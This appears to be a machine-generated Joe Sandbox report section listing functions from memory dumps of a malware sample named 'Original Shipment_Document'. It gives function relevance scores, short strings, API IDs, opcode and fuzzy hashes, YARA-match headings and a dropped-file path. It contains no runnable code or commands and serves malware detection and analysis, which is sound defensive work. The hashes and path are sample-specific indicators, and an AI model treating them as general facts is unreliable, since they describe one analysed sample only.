Associated: 00000001.00000002.185973359716.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Original Shipment_Document.jbxd

Similarity

API ID: CreateInstance
String ID: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\timelrer\Tdlen
API String ID: 542301482-3451877643
Opcode ID: 70a4cfafb3696bf85ab74df719bf6584470e960af5f401986f4556537b1cbe4c
Instruction ID: 543bd56792285dd9977ebe6a5c934514532920c251de70bc34d4fa366edb348e
Opcode Fuzzy Hash: 70a4cfafb3696bf85ab74df719bf6584470e960af5f401986f4556537b1cbe4c
Instruction Fuzzy Hash: 80411771A00209EFCF40DFE4C989E9D7BB5BF49308B20456AF505EB2D1DB799941CB94

Uniqueness

Uniqueness Score: -1.00%

Function 03291B4A Relevance: 3.2, Strings: 2, Instructions: 654COMMON

Download Yara Rule

Strings

9UN, xrefs: 032926C5
OhK, xrefs: 03292435

Memory Dump Source

Source File: 00000001.00000002.185975230036.0000000003280000.00000040.00001000.00020000.00000000.sdmp, Offset: 03280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3280000_Original Shipment_Document.jbxd

Yara matches

Similarity

API ID: MemoryProtectVirtual
String ID: 9UN$OhK
API String ID: 2706961497-835997892
Opcode ID: 5538c89c6b222c06be5bb1a1be632f1a44bfddec3a65772b2642bec1804f2153
Instruction ID: 360a27ca6f447c6b42db4598542ce7cc2e49f9140ca59a37970853076994d92e
Opcode Fuzzy Hash: 5538c89c6b222c06be5bb1a1be632f1a44bfddec3a65772b2642bec1804f2153
Instruction Fuzzy Hash: 8A4219316183868FDF35DF38C8987DA7BE2AF16350F4981AACC998F296D3718585C712

Uniqueness

Uniqueness Score: -1.00%

Function 03293019 Relevance: 3.1, Strings: 2, Instructions: 645COMMON

Download Yara Rule

Strings

t8AU, xrefs: 032932DB
)SG, xrefs: 0329342E

Memory Dump Source

Source File: 00000001.00000002.185975230036.0000000003280000.00000040.00001000.00020000.00000000.sdmp, Offset: 03280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3280000_Original Shipment_Document.jbxd

Yara matches

Similarity

API ID:
String ID: t8AU$)SG
API String ID: 0-1705681446
Opcode ID: 2deb2bb89cd26338ac800f840c786ce9558a6047cd192e6eb92eb55464511c20
Instruction ID: 0efe6276048168deac29809b4d7189079b0653b34bdca914b6da13ba2cdffeb3
Opcode Fuzzy Hash: 2deb2bb89cd26338ac800f840c786ce9558a6047cd192e6eb92eb55464511c20
Instruction Fuzzy Hash: 8BF1767217CA650FF71CDE3898CA47E7789FBC6225364D2AFD083C648BF925A8834165

Uniqueness

Uniqueness Score: -1.00%

Function 03286775 Relevance: 3.0, Strings: 2, Instructions: 473COMMON

Download Yara Rule

Strings

oM, xrefs: 03292C7F
c4#M, xrefs: 03292C3C

Memory Dump Source

Source File: 00000001.00000002.185975230036.0000000003280000.00000040.00001000.00020000.00000000.sdmp, Offset: 03280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3280000_Original Shipment_Document.jbxd

Yara matches

Similarity

API ID:
String ID: c4#M$oM
API String ID: 0-682010152
Opcode ID: d1b63e2eed286063beb7fcf72e158a6ca6a0fc44769f0414a93e9d683f275cc5
Instruction ID: c52735639cb9eac1851274c25bd90bb9ed7a456c3974254f19c7516fe783ff98
Opcode Fuzzy Hash: d1b63e2eed286063beb7fcf72e158a6ca6a0fc44769f0414a93e9d683f275cc5
Instruction Fuzzy Hash: 4EB1896217CA586FF20CDE38DCDA9BB639FF6871253A5805FE083C7197F465A8438260

Uniqueness

Uniqueness Score: -1.00%

Function 0328093B Relevance: 3.0, Strings: 2, Instructions: 463COMMON

Download Yara Rule

Strings

B, xrefs: 03280D3C
f, xrefs: 0328093D

Memory Dump Source

Source File: 00000001.00000002.185975230036.0000000003280000.00000040.00001000.00020000.00000000.sdmp, Offset: 03280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3280000_Original Shipment_Document.jbxd

Yara matches

Similarity

API ID:
String ID: B$f
API String ID: 0-1303968050
Opcode ID: 52316051a4eded2605ad7c57f1ff45740bce7d238cbf348bb70c4b9115ec9478
Instruction ID: 77a5d3bff450627bb33e5c83e7bc54792b180378bd050aff798b7c54b11b3ac2
Opcode Fuzzy Hash: 52316051a4eded2605ad7c57f1ff45740bce7d238cbf348bb70c4b9115ec9478
Instruction Fuzzy Hash: 46C1A782E3F71599E793B271C5517E55A80CF27482F21CB628C3AB29E1376F0ACE05D4

Uniqueness

Uniqueness Score: -1.00%

Function 03286C56 Relevance: 2.6, Strings: 2, Instructions: 114COMMON

Download Yara Rule

Strings

i6'f, xrefs: 03286E6C
`, xrefs: 03286DC3

Memory Dump Source

Source File: 00000001.00000002.185975230036.0000000003280000.00000040.00001000.00020000.00000000.sdmp, Offset: 03280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3280000_Original Shipment_Document.jbxd

Yara matches

Similarity

API ID:
String ID: `$i6'f
API String ID: 0-3161342786
Opcode ID: fa45d89ca812da29a1e0fa4e969ee332202c88150257d90e9070bb69153c41da
Instruction ID: d41d22cb76f367509d198aff99d830d1938f053a7eee1bed1e1c43274e3e0038
Opcode Fuzzy Hash: fa45d89ca812da29a1e0fa4e969ee332202c88150257d90e9070bb69153c41da
Instruction Fuzzy Hash: 304113339602949BEF34DE298C597CE77A3FF94360FA3426BCC0A5B290D6314681CB81

Uniqueness

Uniqueness Score: -1.00%

Function 03286C42 Relevance: 2.6, Strings: 2, Instructions: 91COMMON

Download Yara Rule

Strings

i6'f, xrefs: 03286E6C
`, xrefs: 03286DC3

Memory Dump Source

Source File: 00000001.00000002.185975230036.0000000003280000.00000040.00001000.00020000.00000000.sdmp, Offset: 03280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3280000_Original Shipment_Document.jbxd

Yara matches

Similarity

API ID:
String ID: `$i6'f
API String ID: 0-3161342786
Opcode ID: 519d37ea3256774bd5273f91b4b7cedc7750237f4c55d098640fb9f925f98f67
Instruction ID: d4c1dc9eb7602d43a05849a539ffe438ecb2244fcb3823f704a55d6825ceca03
Opcode Fuzzy Hash: 519d37ea3256774bd5273f91b4b7cedc7750237f4c55d098640fb9f925f98f67
Instruction Fuzzy Hash: 783148729242858BEF74DF398D683DE36A3AFC4250F57821BCC095B290DB3546C5CB42

Uniqueness

Uniqueness Score: -1.00%

Function 03290825 Relevance: 2.6, Strings: 2, Instructions: 75COMMON

Download Yara Rule

Strings

C1TY, xrefs: 03290879
y0R*, xrefs: 03290970

Memory Dump Source

Source File: 00000001.00000002.185975230036.0000000003280000.00000040.00001000.00020000.00000000.sdmp, Offset: 03280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3280000_Original Shipment_Document.jbxd

Yara matches

Similarity

API ID:
String ID: C1TY$y0R*
API String ID: 0-3779172694
Opcode ID: b3e040db6fc505840d6e3d4ee1bdc3be513e98c026aa0887e742c7d071d817ee
Instruction ID: 467f2d136ee2cc2fa02310332858664c31176a112490622a3cb56486d11c7028
Opcode Fuzzy Hash: b3e040db6fc505840d6e3d4ee1bdc3be513e98c026aa0887e742c7d071d817ee
Instruction Fuzzy Hash: 0A21A13571635ECFFF20CE28D9907EA37A1FF5A780F458069DD8A8B641E2704982C745

Uniqueness

Uniqueness Score: -1.00%

Function 03280013 Relevance: 2.0, Strings: 1, Instructions: 762COMMON

Download Yara Rule

Strings

B, xrefs: 03280D3C

Memory Dump Source

Source File: 00000001.00000002.185975230036.0000000003280000.00000040.00001000.00020000.00000000.sdmp, Offset: 03280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3280000_Original Shipment_Document.jbxd

Yara matches

Similarity

API ID:
String ID: B
API String ID: 0-4247208901
Opcode ID: 19ce06da012d71d06c44b5873829b2fb5e01e208965d5d36e84db5289217f8a9
Instruction ID: c9a818c24b3bb57bd03827ddecce6044bfeb3a7fe93e6098d08d48d33a490dbf
Opcode Fuzzy Hash: 19ce06da012d71d06c44b5873829b2fb5e01e208965d5d36e84db5289217f8a9
Instruction Fuzzy Hash: 6002BB83E3F715A9E793B271C5517E55A80DF27482F21CB16983A719E23B6F4ACE04C8

Uniqueness

Uniqueness Score: -1.00%

Function 03280054 Relevance: 2.0, Strings: 1, Instructions: 730COMMON

Download Yara Rule

Strings

B, xrefs: 03280D3C

Memory Dump Source

Source File: 00000001.00000002.185975230036.0000000003280000.00000040.00001000.00020000.00000000.sdmp, Offset: 03280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3280000_Original Shipment_Document.jbxd

Yara matches

Similarity

API ID:
String ID: B
API String ID: 0-4247208901
Opcode ID: 3f41a5815c3880ccd41134b620f64e7884cac319e94fd4c8967adc150ef23910
Instruction ID: 293f9dacba9a3197bd786b1f553662796465e3c2524e818528f9e31856b09ac4
Opcode Fuzzy Hash: 3f41a5815c3880ccd41134b620f64e7884cac319e94fd4c8967adc150ef23910
Instruction Fuzzy Hash: 3402BA83E3F71599E793B271C5517E55A80DF27492F21CB16983A719E23B6F0ACE04C8

Uniqueness

Uniqueness Score: -1.00%

Function 03280098 Relevance: 2.0, Strings: 1, Instructions: 726COMMON

Download Yara Rule

Strings

B, xrefs: 03280D3C

Memory Dump Source

Source File: 00000001.00000002.185975230036.0000000003280000.00000040.00001000.00020000.00000000.sdmp, Offset: 03280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3280000_Original Shipment_Document.jbxd

Yara matches

Similarity

API ID:
String ID: B
API String ID: 0-4247208901
Opcode ID: 65df8fd2010465769695bba414e9c6abc4b2dcc7747a9e9b9b1833d0e1be1cf8
Instruction ID: 01f20d0a74fcd72931a5f19688e8669c01c35bfd5827999281633c4310073a08
Opcode Fuzzy Hash: 65df8fd2010465769695bba414e9c6abc4b2dcc7747a9e9b9b1833d0e1be1cf8
Instruction Fuzzy Hash: 9F02A983E3F71599E793B270C5517A55A80DF27482F21CB16983A719E23BAF4ACE04C8

Uniqueness

Uniqueness Score: -1.00%

Function 03280005 Relevance: 2.0, Strings: 1, Instructions: 725COMMON

Download Yara Rule

Strings

B, xrefs: 03280D3C

Memory Dump Source

Source File: 00000001.00000002.185975230036.0000000003280000.00000040.00001000.00020000.00000000.sdmp, Offset: 03280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3280000_Original Shipment_Document.jbxd

Yara matches

Similarity

API ID:
String ID: B
API String ID: 0-4247208901
Opcode ID: 0fbc0f6ad8a8b0733a3d26d8a40c07f1c2ca23722df9837f07631ef34e3facea
Instruction ID: 780d0af74a8b09b251e27a3941a0f5fff1126b125166339d310927f678488c7a
Opcode Fuzzy Hash: 0fbc0f6ad8a8b0733a3d26d8a40c07f1c2ca23722df9837f07631ef34e3facea
Instruction Fuzzy Hash: 7B02BA83E3F715A9E793B270C5517E55A80DF27492F21CB16983A719E23B6F4ACE04C8

Uniqueness

Uniqueness Score: -1.00%

Function 03280124 Relevance: 2.0, Strings: 1, Instructions: 703COMMON

Download Yara Rule

Strings

B, xrefs: 03280D3C

Memory Dump Source

Source File: 00000001.00000002.185975230036.0000000003280000.00000040.00001000.00020000.00000000.sdmp, Offset: 03280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3280000_Original Shipment_Document.jbxd

Yara matches

Similarity

API ID:
String ID: B
API String ID: 0-4247208901
Opcode ID: 43f68a8665c1a93b8ad00bf9c1c6e52568a33c0e39c972d15d1c5d74e21c13de
Instruction ID: 777096372c13db0b74b09e743a8b414b9b543aaadf2dd277eb0e8bb7a756e8a8
Opcode Fuzzy Hash: 43f68a8665c1a93b8ad00bf9c1c6e52568a33c0e39c972d15d1c5d74e21c13de
Instruction Fuzzy Hash: 9402AA83E3F71599E793B271C5517E55A80DF27482F21CB16983A719E23B6F0ACE04C8

Uniqueness

Uniqueness Score: -1.00%

Function 03280262 Relevance: 1.9, Strings: 1, Instructions: 697COMMON

Download Yara Rule

Strings

B, xrefs: 03280D3C

Memory Dump Source

Source File: 00000001.00000002.185975230036.0000000003280000.00000040.00001000.00020000.00000000.sdmp, Offset: 03280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3280000_Original Shipment_Document.jbxd

Yara matches

Similarity

API ID:
String ID: B
API String ID: 0-4247208901
Opcode ID: 5dec06829f511c4ba0bdfb435f63b42eb80911d90d80eb6c4c5ca811af47e510
Instruction ID: ac217f3a4a5129bcefc69043de87a1282b3537811d4c5c9d6a5070160ca9c8d5
Opcode Fuzzy Hash: 5dec06829f511c4ba0bdfb435f63b42eb80911d90d80eb6c4c5ca811af47e510
Instruction Fuzzy Hash: 2CF1A983E3F71599E793B271C5517A15A80DF27482F22CB16983A719E23B6F0ACE04C8

Uniqueness

Uniqueness Score: -1.00%

Function 03280174 Relevance: 1.9, Strings: 1, Instructions: 697COMMON

Download Yara Rule

Strings

B, xrefs: 03280D3C

Memory Dump Source

Source File: 00000001.00000002.185975230036.0000000003280000.00000040.00001000.00020000.00000000.sdmp, Offset: 03280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3280000_Original Shipment_Document.jbxd

Yara matches

Similarity

API ID:
String ID: B
API String ID: 0-4247208901
Opcode ID: 54c8c90e82cb3bc4dd5eeef29bf27aa18c9a92b4a1da77021d6344bd6f1b24e8
Instruction ID: b300460bef499a408064d4e28aa9993083c2514a1fdc7781d0038aa5dc8acb0f
Opcode Fuzzy Hash: 54c8c90e82cb3bc4dd5eeef29bf27aa18c9a92b4a1da77021d6344bd6f1b24e8
Instruction Fuzzy Hash: 8702BA83E3F71599E793B271C5517E55A80DF27482F21CB16983A719E23B6F0ACE04C8

Uniqueness

Uniqueness Score: -1.00%

Function 032801A4 Relevance: 1.9, Strings: 1, Instructions: 692COMMON

Download Yara Rule

Strings

B, xrefs: 03280D3C

Memory Dump Source

Source File: 00000001.00000002.185975230036.0000000003280000.00000040.00001000.00020000.00000000.sdmp, Offset: 03280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3280000_Original Shipment_Document.jbxd

Yara matches

Similarity

API ID:
String ID: B
API String ID: 0-4247208901
Opcode ID: 41632dfea7b710b84df0b3bed706763e77c00217575bb1f6c6a5298f1f2fb60c
Instruction ID: c83ce8234cf0f5ae7e6ce68024ff27c2c03c4810c053417bf89d8701d03210f8
Opcode Fuzzy Hash: 41632dfea7b710b84df0b3bed706763e77c00217575bb1f6c6a5298f1f2fb60c
Instruction Fuzzy Hash: F702AA83E3F71599E793B271C5517E55A80DF27482F22CB16983A719E63B6F0ACE04C8

Uniqueness

Uniqueness Score: -1.00%

Function 032801E3 Relevance: 1.9, Strings: 1, Instructions: 692COMMON

Download Yara Rule

Strings

B, xrefs: 03280D3C

Memory Dump Source

Source File: 00000001.00000002.185975230036.0000000003280000.00000040.00001000.00020000.00000000.sdmp, Offset: 03280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3280000_Original Shipment_Document.jbxd

Yara matches

Similarity

API ID:
String ID: B
API String ID: 0-4247208901
Opcode ID: dcf16c8c420abd9222af9ed5d19b496f0e2fcdf4d687a7ea2e34a79231a52638
Instruction ID: c0ba09719a2d017c4d9280a0f3e606a87ecaa34c37fdee96b5277ef3783f9027
Opcode Fuzzy Hash: dcf16c8c420abd9222af9ed5d19b496f0e2fcdf4d687a7ea2e34a79231a52638
Instruction Fuzzy Hash: 6502AA83E3F71599E793B271C5517E55A80DF27482F22CB16983A719E63B6F0ACE04C8

Uniqueness

Uniqueness Score: -1.00%

Function 032802E6 Relevance: 1.9, Strings: 1, Instructions: 690COMMON

Download Yara Rule

Strings

B, xrefs: 03280D3C

Memory Dump Source

Source File: 00000001.00000002.185975230036.0000000003280000.00000040.00001000.00020000.00000000.sdmp, Offset: 03280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3280000_Original Shipment_Document.jbxd

Yara matches

Similarity

API ID:
String ID: B
API String ID: 0-4247208901
Opcode ID: 5cb1f7e3a11ce68a17ea91f1f9dd02c75cdc39fa0ee68266ddd4ccb2fd3139a4
Instruction ID: 95fc305e953a8dfc7c7226298bd3e3e048e5ac7e03b7c7574b3d0e957426e104
Opcode Fuzzy Hash: 5cb1f7e3a11ce68a17ea91f1f9dd02c75cdc39fa0ee68266ddd4ccb2fd3139a4
Instruction Fuzzy Hash: 3AF1BA83E3F71599E793B270C1517E55A80DF27482F22CB56983A719E23B6F0ACE04D4

Uniqueness

Uniqueness Score: -1.00%

Function 032803F1 Relevance: 1.9, Strings: 1, Instructions: 685COMMON

Download Yara Rule

Strings

B, xrefs: 03280D3C

Memory Dump Source

Source File: 00000001.00000002.185975230036.0000000003280000.00000040.00001000.00020000.00000000.sdmp, Offset: 03280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3280000_Original Shipment_Document.jbxd

Yara matches

Similarity

API ID:
String ID: B
API String ID: 0-4247208901
Opcode ID: 242b578765e2ea5b981fcdd8b80f1e4e684f59fd9f54e32ae14dd6a1dae374b7
Instruction ID: bcc66cc65539514e851da664271920b61db1fc77cc440071ef17f0ee0cceb2b8
Opcode Fuzzy Hash: 242b578765e2ea5b981fcdd8b80f1e4e684f59fd9f54e32ae14dd6a1dae374b7
Instruction Fuzzy Hash: 5A02AC47E3F319AAE683B770C1507A65A40DF27482F51CB6B9927729E2375F0ACE04C9

Uniqueness

Uniqueness Score: -1.00%

Function 0328022E Relevance: 1.9, Strings: 1, Instructions: 685COMMON

Download Yara Rule

Strings

B, xrefs: 03280D3C

Memory Dump Source

Source File: 00000001.00000002.185975230036.0000000003280000.00000040.00001000.00020000.00000000.sdmp, Offset: 03280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3280000_Original Shipment_Document.jbxd

Yara matches

Similarity

API ID:
String ID: B
API String ID: 0-4247208901
Opcode ID: 9a5cdc3288807ec7347f4de8e559d192e0e62dd1553a2c448598a39468e53511
Instruction ID: 51a304b423fcf94057711d286075287bd3440a4fd69dd6f627d372e9dff219fb
Opcode Fuzzy Hash: 9a5cdc3288807ec7347f4de8e559d192e0e62dd1553a2c448598a39468e53511
Instruction Fuzzy Hash: 29029A83E3F71599E793B271C5517E55A80DF27482F21CB16983A719E63B6F0ACE04C8

Uniqueness

Uniqueness Score: -1.00%

Function 032803A4 Relevance: 1.9, Strings: 1, Instructions: 663COMMON

Download Yara Rule

Strings

B, xrefs: 03280D3C

Memory Dump Source

Source File: 00000001.00000002.185975230036.0000000003280000.00000040.00001000.00020000.00000000.sdmp, Offset: 03280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3280000_Original Shipment_Document.jbxd

Yara matches

Similarity

API ID:
String ID: B
API String ID: 0-4247208901
Opcode ID: ed14bea157469e2263617e67f70e457b2165ce6a7178867543d18a686c8d0f93
Instruction ID: 241f50581cb0cb8f69f94132673912711b898af98c22edd210257b8011b5a493
Opcode Fuzzy Hash: ed14bea157469e2263617e67f70e457b2165ce6a7178867543d18a686c8d0f93
Instruction Fuzzy Hash: 4BF1A983E3F71598E793B271C5517E15A80DF27482F22CB56983A729E23B6F4ACE04D4

Uniqueness

Uniqueness Score: -1.00%

Function 032802AC Relevance: 1.9, Strings: 1, Instructions: 660COMMON

Download Yara Rule

Strings

B, xrefs: 03280D3C

Memory Dump Source

Source File: 00000001.00000002.185975230036.0000000003280000.00000040.00001000.00020000.00000000.sdmp, Offset: 03280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3280000_Original Shipment_Document.jbxd

Yara matches

Similarity

API ID:
String ID: B
API String ID: 0-4247208901
Opcode ID: 5da26a69222b61c079c8380f57bbf4aa4080d6103185f9dd57b0eed43ce9fe5a
Instruction ID: 86a593cbd0e236e2268b854331f5123279d0ffc763ce82025bd799cfa16d1a83
Opcode Fuzzy Hash: 5da26a69222b61c079c8380f57bbf4aa4080d6103185f9dd57b0eed43ce9fe5a
Instruction Fuzzy Hash: BBF1AA83E3F71599E793B271C5517E15A80DF27582F22CB16983A719E23B6F0ACE04D8

Uniqueness

Uniqueness Score: -1.00%

Function 03280366 Relevance: 1.9, Strings: 1, Instructions: 655COMMON

Download Yara Rule

Strings

B, xrefs: 03280D3C

Memory Dump Source

Source File: 00000001.00000002.185975230036.0000000003280000.00000040.00001000.00020000.00000000.sdmp, Offset: 03280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3280000_Original Shipment_Document.jbxd

Yara matches

Similarity

API ID:
String ID: B
API String ID: 0-4247208901
Opcode ID: be7ae85bf37e114291b36d6e83ec2cf4bc510fa7ae36a9e77ce4b30f362907b1
Instruction ID: adaf2d7f121c84d42985881154e9f870a59f26588541d9b26e2a9419b9f7f2f9
Opcode Fuzzy Hash: be7ae85bf37e114291b36d6e83ec2cf4bc510fa7ae36a9e77ce4b30f362907b1
Instruction Fuzzy Hash: 4DF1A983E3F71599E793B271C5517E15A80DF27482F22CB16983A719E23B6F0ACE04D8

Uniqueness

Uniqueness Score: -1.00%

Function 0328032E Relevance: 1.9, Strings: 1, Instructions: 646COMMON

Download Yara Rule

Strings

B, xrefs: 03280D3C

Memory Dump Source

Source File: 00000001.00000002.185975230036.0000000003280000.00000040.00001000.00020000.00000000.sdmp, Offset: 03280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3280000_Original Shipment_Document.jbxd

Yara matches

Similarity

API ID:
String ID: B
API String ID: 0-4247208901
Opcode ID: 553278cccdc0c635022d5f9e26697733753c8a48293de1c019dada475ec70a9e
Instruction ID: b912ac05d67e5f3ca5a074828efcb9dcd6e048c16d5cd63573e4fc22ff9dd67d
Opcode Fuzzy Hash: 553278cccdc0c635022d5f9e26697733753c8a48293de1c019dada475ec70a9e
Instruction Fuzzy Hash: B4F1AA83E3F71599E793B271C1517E15A80DF27582F22CB56983A719E23B6F0ACE04D8

Uniqueness

Uniqueness Score: -1.00%

Function 032804C5 Relevance: 1.9, Strings: 1, Instructions: 631COMMON

Download Yara Rule

Strings

B, xrefs: 03280D3C

Memory Dump Source

Source File: 00000001.00000002.185975230036.0000000003280000.00000040.00001000.00020000.00000000.sdmp, Offset: 03280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3280000_Original Shipment_Document.jbxd

Yara matches

Similarity

API ID:
String ID: B
API String ID: 0-4247208901
Opcode ID: b1a5591002e65cff3b6d9fc21a2d217d8e5d0a059cd707ca714feffacb3984ce
Instruction ID: 18cfbcb337c3052b44f8d652315bc4a15f295ce334d19c241a4d6b47c82fc841
Opcode Fuzzy Hash: b1a5591002e65cff3b6d9fc21a2d217d8e5d0a059cd707ca714feffacb3984ce
Instruction Fuzzy Hash: BBE1AA83E3F71599E793B271C5517E15A80DF27482F22CB16983AB19E23B5F0ACE05D4

Uniqueness

Uniqueness Score: -1.00%

Function 032805EF Relevance: 1.8, Strings: 1, Instructions: 597COMMON

Download Yara Rule

Strings

B, xrefs: 03280D3C

Memory Dump Source

Source File: 00000001.00000002.185975230036.0000000003280000.00000040.00001000.00020000.00000000.sdmp, Offset: 03280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3280000_Original Shipment_Document.jbxd

Yara matches

Similarity

API ID:
String ID: B
API String ID: 0-4247208901
Opcode ID: 47df1d1f2d75a7ab6d390ef203188eb9b5ed5a691a0f055dd29443cd23031718
Instruction ID: 26701312e0fc1761a93f15465e50b35737fcc6acdd6873a44d308b5cfe5cdfac
Opcode Fuzzy Hash: 47df1d1f2d75a7ab6d390ef203188eb9b5ed5a691a0f055dd29443cd23031718
Instruction Fuzzy Hash: E2E1A943E3F71599E793B271C5517E15A80DF27482F22CB169C2AB29E23B6F0ACE05C4

Uniqueness

Uniqueness Score: -1.00%

Function 03280463 Relevance: 1.8, Strings: 1, Instructions: 596COMMON

Download Yara Rule

Strings

B, xrefs: 03280D3C

Memory Dump Source

Source File: 00000001.00000002.185975230036.0000000003280000.00000040.00001000.00020000.00000000.sdmp, Offset: 03280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3280000_Original Shipment_Document.jbxd

Yara matches

Similarity

API ID:
String ID: B
API String ID: 0-4247208901
Opcode ID: 6b06d81dd5c890c456c9c6ec08f699ce94abf5a659a9d72ea1421cb851743efb
Instruction ID: fe2c8c82563c671fa12dfef2f6f15861cdf3025017787b51206bd3399c909f53
Opcode Fuzzy Hash: 6b06d81dd5c890c456c9c6ec08f699ce94abf5a659a9d72ea1421cb851743efb
Instruction Fuzzy Hash: 6AE1A983E3F71599E793B271C1517E15A80DF27492F22CB56983A729E23B6F0ACE04D4

Uniqueness

Uniqueness Score: -1.00%

Function 03280506 Relevance: 1.8, Strings: 1, Instructions: 587COMMON

Download Yara Rule

Strings

B, xrefs: 03280D3C

Memory Dump Source

Source File: 00000001.00000002.185975230036.0000000003280000.00000040.00001000.00020000.00000000.sdmp, Offset: 03280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3280000_Original Shipment_Document.jbxd

Yara matches

Similarity

API ID:
String ID: B
API String ID: 0-4247208901
Opcode ID: 00bfe0e9e2d31b5a7833cb6e62163f20d951229a0ccf4b1d290fc058917b7ee5
Instruction ID: aa00c1a33dba4e75906bdb3d353452da6bdb44c7f04cabab20668a6221756399
Opcode Fuzzy Hash: 00bfe0e9e2d31b5a7833cb6e62163f20d951229a0ccf4b1d290fc058917b7ee5
Instruction Fuzzy Hash: 97E1B983E3F71598E793B271C5517E15A80DF27492F22CB16983AB29E23B5F0ACE04D4

Uniqueness

Uniqueness Score: -1.00%

Function 032805C4 Relevance: 1.8, Strings: 1, Instructions: 582COMMON

Download Yara Rule

Strings

B, xrefs: 03280D3C

Memory Dump Source

Source File: 00000001.00000002.185975230036.0000000003280000.00000040.00001000.00020000.00000000.sdmp, Offset: 03280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3280000_Original Shipment_Document.jbxd

Yara matches

Similarity

API ID:
String ID: B
API String ID: 0-4247208901
Opcode ID: a852690deb263be865187d62a94cf48841c6cbca9948afaac9388f8e0fbb8d8b
Instruction ID: c0cb20ea2e6b433615de40357e5565c895fed7a8bcb5897f773edd1e5a884d4a
Opcode Fuzzy Hash: a852690deb263be865187d62a94cf48841c6cbca9948afaac9388f8e0fbb8d8b
Instruction Fuzzy Hash: E2E1A983E3F71599E793B271C5517E15680DF27482F22CB169C2AB29E23B6F0ACE04D4

Uniqueness

Uniqueness Score: -1.00%

Function 03280634 Relevance: 1.8, Strings: 1, Instructions: 551COMMON

Download Yara Rule

Strings

B, xrefs: 03280D3C

Memory Dump Source

Source File: 00000001.00000002.185975230036.0000000003280000.00000040.00001000.00020000.00000000.sdmp, Offset: 03280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3280000_Original Shipment_Document.jbxd

Yara matches

Similarity

API ID:
String ID: B
API String ID: 0-4247208901
Opcode ID: 6c55a7fb4a37d8a3d0573eac7b4268bfbb0e5433c227324c8614d249914a7570
Instruction ID: 6cb0ad421a207ddde21db5e603907820c8fcc0109549352cfd4c46483e1cd95b
Opcode Fuzzy Hash: 6c55a7fb4a37d8a3d0573eac7b4268bfbb0e5433c227324c8614d249914a7570
Instruction Fuzzy Hash: EDD1A743E3F71599E793B271C1517E55680DF27482F22CB169C2AB29E23B6F4ACE05C8

Uniqueness

Uniqueness Score: -1.00%

Function 032806E7 Relevance: 1.8, Strings: 1, Instructions: 547COMMON

Download Yara Rule

Strings

B, xrefs: 03280D3C

Memory Dump Source

Source File: 00000001.00000002.185975230036.0000000003280000.00000040.00001000.00020000.00000000.sdmp, Offset: 03280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3280000_Original Shipment_Document.jbxd

Yara matches

Similarity

API ID:
String ID: B
API String ID: 0-4247208901
Opcode ID: a2322a357978e07c1feeafd600b23c34183034dbf26753f847bf64bc14f718fe
Instruction ID: c8e218a41a9b986aed343c99c20c5b815501aa7a1678bf5078dfcf1f89e7d7ef
Opcode Fuzzy Hash: a2322a357978e07c1feeafd600b23c34183034dbf26753f847bf64bc14f718fe
Instruction Fuzzy Hash: 46D1CA47E3F715D9E793B271C1517E15A80DF27482F22CB16982AB29E23B6F4ACE04D4

Uniqueness

Uniqueness Score: -1.00%

Function 032806B8 Relevance: 1.8, Strings: 1, Instructions: 542COMMON

Download Yara Rule

Strings

B, xrefs: 03280D3C

Memory Dump Source

Source File: 00000001.00000002.185975230036.0000000003280000.00000040.00001000.00020000.00000000.sdmp, Offset: 03280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3280000_Original Shipment_Document.jbxd

Yara matches

Similarity

API ID:
String ID: B
API String ID: 0-4247208901
Opcode ID: a036679f15531685f5e5ce749d721bfe2bd7c4ed94029eab6deab1b27c74ce34
Instruction ID: dd7c73828b690bdd8b682a0a09b47ee7d6172d776bc648c97e76774caa71a8d5
Opcode Fuzzy Hash: a036679f15531685f5e5ce749d721bfe2bd7c4ed94029eab6deab1b27c74ce34
Instruction Fuzzy Hash: E4D1B843E3F715D9E793B271C1517E15A80DF27482F22CB56982AB29E23B6F4ACE05C4

Uniqueness

Uniqueness Score: -1.00%

